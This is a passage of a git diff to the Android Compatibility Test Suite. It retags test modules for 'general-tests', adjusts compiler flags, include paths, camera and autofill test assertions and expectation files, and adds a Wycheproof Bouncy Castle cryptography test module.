   <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
     <option name="cleanup-apks" value="true" />
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 56e52f5..72f5197 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -2590,13 +2590,10 @@
             assertThat(selection.getClientState().getCharSequence("clientStateKey")).isEqualTo(
                     "clientStateValue");
 
-            assertThat(selection.getEvents().size()).isEqualTo(2);
-            FillEventHistory.Event event1 = selection.getEvents().get(0);
-            assertThat(event1.getType()).isEqualTo(TYPE_DATASET_AUTHENTICATION_SELECTED);
-            assertThat(event1.getDatasetId()).isEqualTo("name");
-            FillEventHistory.Event event2 = selection.getEvents().get(1);
-            assertThat(event2.getType()).isEqualTo(TYPE_DATASET_SELECTED);
-            assertThat(event2.getDatasetId()).isNull();
+            assertThat(selection.getEvents().size()).isEqualTo(1);
+            FillEventHistory.Event event = selection.getEvents().get(0);
+            assertThat(event.getType()).isEqualTo(TYPE_DATASET_AUTHENTICATION_SELECTED);
+            assertThat(event.getDatasetId()).isEqualTo("name");
         });
     }
 
diff --git a/tests/backup/Android.mk b/tests/backup/Android.mk
index d791fa6..c8c7d87 100644
--- a/tests/backup/Android.mk
+++ b/tests/backup/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsBackupTestCases
 
diff --git a/tests/backup/app/Android.mk b/tests/backup/app/Android.mk
index 8d7e3e9..dd1992b 100644
--- a/tests/backup/app/Android.mk
+++ b/tests/backup/app/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_PACKAGE_NAME := CtsBackupApp
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     compatibility-device-util \
diff --git a/tests/camera/Android.mk b/tests/camera/Android.mk
index af7474e..d6331e76 100644
--- a/tests/camera/Android.mk
+++ b/tests/camera/Android.mk
@@ -29,7 +29,7 @@
 LOCAL_MODULE := CtsCameraUtils
 
 LOCAL_SDK_VERSION := current
-
+-include cts/error_prone_rules_tests.mk
 include $(BUILD_STATIC_JAVA_LIBRARY)
 
 # CtsCameraTestCases package
@@ -58,7 +58,7 @@
 	$(call all-renderscript-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsCameraTestCases
 
diff --git a/tests/camera/libctscamera2jni/Android.mk b/tests/camera/libctscamera2jni/Android.mk
index 4b80553..649908d 100644
--- a/tests/camera/libctscamera2jni/Android.mk
+++ b/tests/camera/libctscamera2jni/Android.mk
@@ -27,14 +27,13 @@
 LOCAL_C_INCLUDES := \
 	$(JNI_H_INCLUDE) \
 	system/core/include \
-	frameworks/av/include/camera/ndk \
-	frameworks/av/include/ndk \
 
 # Flags needed by DNG SDK
 LOCAL_CFLAGS := -DUNIX_ENV=1 -DqDNGBigEndian=0 -DqDNGThreadSafe=1 -DqDNGUseLibJPEG=1 -DqDNGUseXMP=0 -DqDNGValidate=1 -DqDNGValidateTarget=1 -DqAndroid=1 -fexceptions -Wsign-compare -Wno-reorder -Wframe-larger-than=20000
 
 # Flags to avoid warnings from DNG SDK
-LOCAL_CFLAGS += -Wno-unused-parameter
+LOCAL_CFLAGS += -Wall -Werror -Wno-unused-parameter
+LOCAL_CFLAGS += -Wno-unused-value -Wno-unused-variable
 
 LOCAL_STATIC_LIBRARIES := libdng_sdk_validate libjpeg_static_ndk
 LOCAL_SHARED_LIBRARIES := libandroid \
diff --git a/tests/camera/libctscamera2jni/native-camera-jni.cpp b/tests/camera/libctscamera2jni/native-camera-jni.cpp
index 96b9ea1..42907c4 100644
--- a/tests/camera/libctscamera2jni/native-camera-jni.cpp
+++ b/tests/camera/libctscamera2jni/native-camera-jni.cpp
@@ -29,12 +29,12 @@
 
 #include <android/native_window_jni.h>
 
-#include "NdkCameraError.h"
-#include "NdkCameraManager.h"
-#include "NdkCameraDevice.h"
-#include "NdkCameraCaptureSession.h"
-#include "NdkImage.h"
-#include "NdkImageReader.h"
+#include "camera/NdkCameraError.h"
+#include "camera/NdkCameraManager.h"
+#include "camera/NdkCameraDevice.h"
+#include "camera/NdkCameraCaptureSession.h"
+#include "media/NdkImage.h"
+#include "media/NdkImageReader.h"
 
 #define LOG_ERROR(buf, ...) sprintf(buf, __VA_ARGS__); \
                             ALOGE("%s", buf);
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index aad5fd8..7128bac 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -2280,12 +2280,9 @@
             }
             if (staticInfo.areKeysAvailable(CaptureResult.CONTROL_POST_RAW_SENSITIVITY_BOOST)) {
                 expectedIso = expectedIso *
-                        result.get(CaptureResult.CONTROL_POST_RAW_SENSITIVITY_BOOST);
-            } else {
-                expectedIso *= 100;
+                        result.get(CaptureResult.CONTROL_POST_RAW_SENSITIVITY_BOOST) / 100;
             }
-            collector.expectInRange("Exif TAG_ISO is incorrect", iso,
-                    expectedIso/100, (expectedIso+50)/100);
+            collector.expectEquals("Exif TAG_ISO is incorrect", expectedIso, iso);
         }
 
         // TAG_DATETIME_DIGITIZED (a.k.a Create time for digital cameras).
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraErrorCollector.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraErrorCollector.java
index e8d5837..aa048cf 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraErrorCollector.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/CameraErrorCollector.java
@@ -25,17 +25,15 @@
 import android.media.Image;
 import android.util.Log;
 import android.util.Size;
-
-import org.hamcrest.CoreMatchers;
-import org.hamcrest.Matcher;
-import org.junit.rules.ErrorCollector;
-
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Objects;
 import java.util.Set;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.Matcher;
+import org.junit.rules.ErrorCollector;
 
 /**
  * A camera test ErrorCollector class to gather the test failures during a test,
@@ -891,7 +889,7 @@
         if ((value = expectKeyValueNotNull(characteristics, key)) == null) {
             return;
         }
-        String reason = "Key " + key.getName() + " value " + value
+        String reason = "Key " + key.getName() + " value " + Arrays.toString(value)
                 + " doesn't contain the expected value " + expected;
         expectContains(reason, value, expected);
     }
@@ -909,7 +907,7 @@
         if ((value = expectKeyValueNotNull(characteristics, key)) == null) {
             return;
         }
-        String reason = "Key " + key.getName() + " value " + value
+        String reason = "Key " + key.getName() + " value " + Arrays.toString(value)
                 + " doesn't contain the expected value " + expected;
         expectContains(reason, value, expected);
     }
@@ -927,7 +925,7 @@
         if ((value = expectKeyValueNotNull(characteristics, key)) == null) {
             return;
         }
-        String reason = "Key " + key.getName() + " value " + value
+        String reason = "Key " + key.getName() + " value " + Arrays.toString(value)
                 + " doesn't contain the expected value " + expected;
         expectContains(reason, value, expected);
     }
@@ -948,7 +946,7 @@
 
     public <T> void expectContains(T[] values, T expected) {
         String reason = "Expected value " + expected
-                + " is not contained in the given values " + values;
+                + " is not contained in the given values " + Arrays.toString(values);
         expectContains(reason, values, expected);
     }
 
@@ -984,7 +982,7 @@
 
     public void expectContains(int[] values, int expected) {
         String reason = "Expected value " + expected
-                + " is not contained in the given values " + values;
+                + " is not contained in the given values " + Arrays.toString(values);
         expectContains(reason, values, expected);
     }
 
@@ -1028,7 +1026,7 @@
      */
     public void expectContains(boolean[] values, boolean expected) {
         String reason = "Expected value " + expected
-                + " is not contained in the given values " + values;
+                + " is not contained in the given values " + Arrays.toString(values);
         expectContains(reason, values, expected);
     }
 
diff --git a/tests/dram/Android.mk b/tests/dram/Android.mk
index e286e8d..5c44668 100644
--- a/tests/dram/Android.mk
+++ b/tests/dram/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_PACKAGE_NAME := CtsDramTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := 16
 
diff --git a/tests/dram/jni/Android.mk b/tests/dram/jni/Android.mk
index 4469cc4..53b9f28 100644
--- a/tests/dram/jni/Android.mk
+++ b/tests/dram/jni/Android.mk
@@ -26,4 +26,6 @@
 
 LOCAL_SDK_VERSION := 14
 
+LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/filesystem/Android.mk b/tests/filesystem/Android.mk
index 417d7c4..97f24b0 100644
--- a/tests/filesystem/Android.mk
+++ b/tests/filesystem/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_PACKAGE_NAME := CtsFileSystemTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := 16
 
diff --git a/tests/fragment/Android.mk b/tests/fragment/Android.mk
index 053e668..0225b21 100644
--- a/tests/fragment/Android.mk
+++ b/tests/fragment/Android.mk
@@ -34,13 +34,13 @@
     android-common \
     compatibility-device-util \
     ctstestrunner \
-    platform-test-annotations
+    legacy-android-test
 #LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/inputmethod/Android.mk b/tests/inputmethod/Android.mk
index 7de22d4..5093e6f 100644
--- a/tests/inputmethod/Android.mk
+++ b/tests/inputmethod/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_MULTILIB := both
 
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java
index d5ace2e..8089739 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/BaseInputConnectionTest.java
@@ -59,9 +59,6 @@
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class BaseInputConnectionTest {
-    /** Extended timeout in case the system is sluggish */
-    private static final long WINDOW_FOCUS_TIMEOUT = 10000;
-
     private Instrumentation mInstrumentation;
     private InputMethodCtsActivity mActivity;
     private Window mWindow;
@@ -76,7 +73,7 @@
     public void setup() {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mActivity = mActivityRule.getActivity();
-        PollingCheck.waitFor(WINDOW_FOCUS_TIMEOUT, mActivity::hasWindowFocus);
+        PollingCheck.waitFor(mActivity::hasWindowFocus);
         mWindow = mActivity.getWindow();
         mView = (EditText) mWindow.findViewById(R.id.entry);
         mConnection = new BaseInputConnection(mView, true);
diff --git a/tests/jank/Android.mk b/tests/jank/Android.mk
index 0d4f533..8e2348b 100644
--- a/tests/jank/Android.mk
+++ b/tests/jank/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_PACKAGE_NAME := CtsJankDeviceTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     compatibility-device-util \
diff --git a/tests/jank/AndroidTest.xml b/tests/jank/AndroidTest.xml
index d22c0a2..3f8b16d 100644
--- a/tests/jank/AndroidTest.xml
+++ b/tests/jank/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Jank test cases">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="graphics" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/jdwp/Android.mk b/tests/jdwp/Android.mk
index 87ea31e..da4ea38 100644
--- a/tests/jdwp/Android.mk
+++ b/tests/jdwp/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_MODULE_TAGS := optional
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_JAVA_LIBRARY)
 
diff --git a/tests/jdwp/AndroidTest.xml b/tests/jdwp/AndroidTest.xml
index 192ba78..72d26b1 100644
--- a/tests/jdwp/AndroidTest.xml
+++ b/tests/jdwp/AndroidTest.xml
@@ -39,5 +39,8 @@
         <option name="known-failures" value="/expectations/jdwp-known-failures.txt" />
         <option name="runtime-hint" value="16m" />
 
+        <!-- Temporary work around to avoid running android.test.AndroidTestCase. -->
+        <!-- TODO(64541592) - remove once AndroidTestCase is not statically included. -->
+        <option name="exclude-filter" value="android.test.AndroidTestCase" />
     </test>
 </configuration>
diff --git a/tests/jdwp/runner/device-side/Android.mk b/tests/jdwp/runner/device-side/Android.mk
index 871fc39..f04bf4a 100644
--- a/tests/jdwp/runner/device-side/Android.mk
+++ b/tests/jdwp/runner/device-side/Android.mk
@@ -30,6 +30,6 @@
 LOCAL_MODULE_TAGS := optional
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_JAVA_LIBRARY)
diff --git a/tests/jdwp/runner/host-side/Android.mk b/tests/jdwp/runner/host-side/Android.mk
index 7398f69..702174c 100644
--- a/tests/jdwp/runner/host-side/Android.mk
+++ b/tests/jdwp/runner/host-side/Android.mk
@@ -30,6 +30,6 @@
 LOCAL_JAVA_RESOURCE_DIRS := resources
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/tests/leanbackjank/Android.mk b/tests/leanbackjank/Android.mk
index 25fd9a0..5b5f053 100644
--- a/tests/leanbackjank/Android.mk
+++ b/tests/leanbackjank/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsLeanbackJankTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     compatibility-device-util \
diff --git a/tests/leanbackjank/app/Android.mk b/tests/leanbackjank/app/Android.mk
index beeacdd..3925c2a 100644
--- a/tests/leanbackjank/app/Android.mk
+++ b/tests/leanbackjank/app/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_PACKAGE_NAME := CtsLeanbackJankApp
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_RESOURCE_DIR := \
     $(TOP)/frameworks/support/v17/leanback/res \
diff --git a/tests/libcore/javautilcollections/Android.mk b/tests/libcore/javautilcollections/Android.mk
index 2c7b7b1..fc90888 100644
--- a/tests/libcore/javautilcollections/Android.mk
+++ b/tests/libcore/javautilcollections/Android.mk
@@ -29,6 +29,6 @@
     guava-testlib-20.0-prebuilt
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_PACKAGE_NAME := CtsLibcoreJavaUtilCollectionsTestCases
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/libcore/javautilcollections/AndroidTest.xml b/tests/libcore/javautilcollections/AndroidTest.xml
index 4303af5..75be288 100644
--- a/tests/libcore/javautilcollections/AndroidTest.xml
+++ b/tests/libcore/javautilcollections/AndroidTest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!-- Copyright (C) 2016 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,8 +14,8 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Libcore java.util Collection test cases">
-    <option name="config-descriptor:metadata" key="component" value="libcore" />
     <option name="not-shardable" value="true" />
+    <option name="config-descriptor:metadata" key="component" value="libcore" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsLibcoreJavaUtilCollectionsTestCases.apk" />
diff --git a/tests/libcore/jsr166/Android.mk b/tests/libcore/jsr166/Android.mk
index e71bb57..2a9b870 100644
--- a/tests/libcore/jsr166/Android.mk
+++ b/tests/libcore/jsr166/Android.mk
@@ -34,12 +34,8 @@
 LOCAL_PROGUARD_ENABLED := disabled
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
-LOCAL_JAVA_RESOURCE_FILES := \
-    libcore/expectations/brokentests.txt \
-    libcore/expectations/icebox.txt \
-    libcore/expectations/knownfailures.txt \
-    libcore/expectations/taggedtests.txt
+LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/jsr166/AndroidTest.xml b/tests/libcore/jsr166/AndroidTest.xml
index 865f805..2a3e5d2 100644
--- a/tests/libcore/jsr166/AndroidTest.xml
+++ b/tests/libcore/jsr166/AndroidTest.xml
@@ -32,9 +32,6 @@
         <option name="instrumentation-arg" key="filter"
                 value="com.android.cts.core.runner.ExpectationBasedFilter" />
         <option name="core-expectation" value="/knownfailures.txt" />
-        <option name="core-expectation" value="/brokentests.txt" />
-        <option name="core-expectation" value="/icebox.txt" />
-        <option name="core-expectation" value="/taggedtests.txt" />
         <option name="runtime-hint" value="10m"/>
         <!-- 20x default timeout of 600sec -->
         <option name="shell-timeout" value="12000000"/>
diff --git a/tests/libcore/luni/Android.mk b/tests/libcore/luni/Android.mk
index c42a987..3541360 100644
--- a/tests/libcore/luni/Android.mk
+++ b/tests/libcore/luni/Android.mk
@@ -24,8 +24,8 @@
     core-tests \
     cts-core-test-runner \
     mockito-target-minus-junit4 \
-    tzdata_shared2-tests \
-    tzdata_update2-tests
+    time_zone_distro-tests \
+    time_zone_distro_installer-tests
 
 # Don't include this package in any target
 LOCAL_MODULE_TAGS := tests
@@ -38,7 +38,8 @@
 LOCAL_DX_FLAGS := --multi-dex
 
 LOCAL_PROGUARD_ENABLED := disabled
-
+# Keep META-INF/ resources from LOCAL_STATIC_JAVA_LIBRARIES. http://b/62341677
+LOCAL_DONT_DELETE_JAR_META_INF := true
 LOCAL_JNI_SHARED_LIBRARIES := libjavacoretests libsqlite_jni libnativehelper_compat_libc++ libc++
 
 # Include both the 32 and 64 bit versions of libjavacoretests,
@@ -46,13 +47,12 @@
 LOCAL_MULTILIB := both
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
+# NOTE: virtualdeviceknownfailures.txt is only used for simulated/cloud-based
+# continuous build configurations, so it's not referenced in AndroidTest.xml
 LOCAL_JAVA_RESOURCE_FILES := \
-    libcore/expectations/brokentests.txt \
-    libcore/expectations/icebox.txt \
     libcore/expectations/knownfailures.txt \
-    libcore/expectations/taggedtests.txt \
     libcore/expectations/virtualdeviceknownfailures.txt
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/luni/AndroidTest.xml b/tests/libcore/luni/AndroidTest.xml
index 4abb65c..a8c4142 100644
--- a/tests/libcore/luni/AndroidTest.xml
+++ b/tests/libcore/luni/AndroidTest.xml
@@ -32,9 +32,6 @@
         <option name="instrumentation-arg" key="filter"
                 value="com.android.cts.core.runner.ExpectationBasedFilter" />
         <option name="core-expectation" value="/knownfailures.txt" />
-        <option name="core-expectation" value="/brokentests.txt" />
-        <option name="core-expectation" value="/icebox.txt" />
-        <option name="core-expectation" value="/taggedtests.txt" />
         <option name="runtime-hint" value="45m"/>
         <!-- 20x default timeout of 600sec -->
         <option name="shell-timeout" value="12000000"/>
diff --git a/tests/libcore/ojluni/Android.mk b/tests/libcore/ojluni/Android.mk
index 36ba4f2..1989c29 100644
--- a/tests/libcore/ojluni/Android.mk
+++ b/tests/libcore/ojluni/Android.mk
@@ -21,6 +21,10 @@
 LOCAL_STATIC_JAVA_LIBRARIES := \
     core-ojtests-public
 
+LOCAL_JAVA_LIBRARIES := testng
+
+LOCAL_DX_FLAGS := --core-library
+
 # Don't include this package in any target
 LOCAL_MODULE_TAGS := tests
 
@@ -30,6 +34,9 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_JACK_FLAGS := --multi-dex native
 
+# Keep META-INF/ resources from LOCAL_STATIC_JAVA_LIBRARIES. http://b/62231394
+LOCAL_DONT_DELETE_JAR_META_INF := true
+
 LOCAL_PROGUARD_ENABLED := disabled
 
 # Include both the 32 and 64 bit versions of libjavacoretests,
@@ -37,12 +44,8 @@
 LOCAL_MULTILIB := both
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
-LOCAL_JAVA_RESOURCE_FILES := \
-    libcore/expectations/brokentests.txt \
-    libcore/expectations/icebox.txt \
-    libcore/expectations/knownfailures.txt \
-    libcore/expectations/taggedtests.txt
+LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/ojluni/AndroidTest.xml b/tests/libcore/ojluni/AndroidTest.xml
index faaff96..1cebd4e 100644
--- a/tests/libcore/ojluni/AndroidTest.xml
+++ b/tests/libcore/ojluni/AndroidTest.xml
@@ -36,10 +36,6 @@
         <option name="instrumentation-arg" key="filter"
                 value="com.android.cts.core.runner.ExpectationBasedFilter" />
         <option name="core-expectation" value="/knownfailures.txt" />
-        <option name="core-expectation" value="/brokentests.txt" />
-        <option name="core-expectation" value="/icebox.txt" />
-        <option name="core-expectation" value="/taggedtests.txt" />
-        <option name="core-expectation" value="/expectations/cts-runner-specific-failures.txt" />
         <option name="runtime-hint" value="35m"/>
         <!-- 20x default timeout of 600sec -->
         <option name="shell-timeout" value="12000000"/>
diff --git a/tests/libcore/okhttp/Android.mk b/tests/libcore/okhttp/Android.mk
index 840f1a2..98ed152 100644
--- a/tests/libcore/okhttp/Android.mk
+++ b/tests/libcore/okhttp/Android.mk
@@ -40,12 +40,8 @@
 LOCAL_MULTILIB := both
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
-LOCAL_JAVA_RESOURCE_FILES := \
-    libcore/expectations/brokentests.txt \
-    libcore/expectations/icebox.txt \
-    libcore/expectations/knownfailures.txt \
-    libcore/expectations/taggedtests.txt
+LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/okhttp/AndroidTest.xml b/tests/libcore/okhttp/AndroidTest.xml
index 970fd8e..4e79b80 100644
--- a/tests/libcore/okhttp/AndroidTest.xml
+++ b/tests/libcore/okhttp/AndroidTest.xml
@@ -32,9 +32,6 @@
         <option name="instrumentation-arg" key="filter"
                 value="com.android.cts.core.runner.ExpectationBasedFilter" />
         <option name="core-expectation" value="/knownfailures.txt" />
-        <option name="core-expectation" value="/brokentests.txt" />
-        <option name="core-expectation" value="/icebox.txt" />
-        <option name="core-expectation" value="/taggedtests.txt" />
         <option name="runtime-hint" value="15m"/>
         <!-- 20x default timeout of 600sec -->
         <option name="shell-timeout" value="12000000"/>
diff --git a/tests/libcore/runner/Android.mk b/tests/libcore/runner/Android.mk
index d7399cd..3b20cfa 100644
--- a/tests/libcore/runner/Android.mk
+++ b/tests/libcore/runner/Android.mk
@@ -33,6 +33,6 @@
 LOCAL_PROGUARD_ENABLED := disabled
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/wycheproof-bc/Android.mk b/tests/libcore/wycheproof-bc/Android.mk
new file mode 100644
index 0000000..3751ac5
--- /dev/null
+++ b/tests/libcore/wycheproof-bc/Android.mk
@@ -0,0 +1,49 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsLibcoreWycheproofBCTestCases
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    cts-core-test-runner \
+    wycheproof
+
+LOCAL_JAVA_LIBRARIES := bouncycastle
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under,src)
+
+LOCAL_DEX_PREOPT := false
+LOCAL_JACK_FLAGS := --multi-dex native
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+# Include both the 32 and 64 bit versions of libjavacoretests,
+# where applicable.
+LOCAL_MULTILIB := both
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/vm-tests-tf/AndroidManifest.xml b/tests/libcore/wycheproof-bc/AndroidManifest.xml
similarity index 69%
copy from tests/vm-tests-tf/AndroidManifest.xml
copy to tests/libcore/wycheproof-bc/AndroidManifest.xml
index 2a2f40a..15c5fd5 100644
--- a/tests/vm-tests-tf/AndroidManifest.xml
+++ b/tests/libcore/wycheproof-bc/AndroidManifest.xml
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
- * Copyright (C) 2007 The Android Open Source Project
+ * Copyright (C) 2017 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -15,15 +15,14 @@
  * limitations under the License.
  -->
 
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.vm-tests-tf">
+<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.libcore.cts.wycheproof.bouncycastle">
     <uses-permission android:name="android.permission.INTERNET" />
     <application>
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.test.InstrumentationCoreTestRunner"
-                     android:targetPackage="android.core.vm-tests-tf"
-                     android:label="cts trade federation vm tests"/>
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.libcore.cts.wycheproof.bouncycastle"
+                     android:label="CTS Libcore Wycheproof Bouncy Castle test cases" />
 
 </manifest>
diff --git a/tests/libcore/wycheproof-bc/AndroidTest.xml b/tests/libcore/wycheproof-bc/AndroidTest.xml
new file mode 100644
index 0000000..9c3a50a
--- /dev/null
+++ b/tests/libcore/wycheproof-bc/AndroidTest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Libcore Wycheproof Bouncy Castle test cases">
+    <option name="config-descriptor:metadata" key="component" value="libcore" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <!-- this has just the instrumentation which acts as the tests we want to run -->
+        <option name="test-file-name" value="CtsLibcoreWycheproofBCTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.compatibility.testtype.LibcoreTest" >
+        <option name="package" value="android.libcore.cts.wycheproof.bouncycastle" />
+        <!-- The individual test cases don't work unless they're run in the
+             context of one of the suites, so we have to limit the test
+             infrastructure to only running the test suites. -->
